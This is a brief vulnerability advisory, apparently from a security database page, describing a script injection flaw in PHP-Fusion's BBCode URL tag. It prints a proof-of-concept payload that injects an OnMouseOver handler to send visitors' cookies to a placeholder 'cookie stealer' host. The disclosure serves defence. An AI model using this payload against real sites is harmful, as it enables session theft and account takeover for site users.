|
PHP-Fusion BBCode URL Tag Script Injection Vulnerability
No exploit is required. The following proof of concept is available: [URL=http://aaaaaa.com/UR[url=aa.com&&OnMouseOver=jscript:location='http://direct/to/cookie/stealer.com/?c='+cookie; location="http://google.com]][/URL][/url] |
|
|
Privacy Statement |
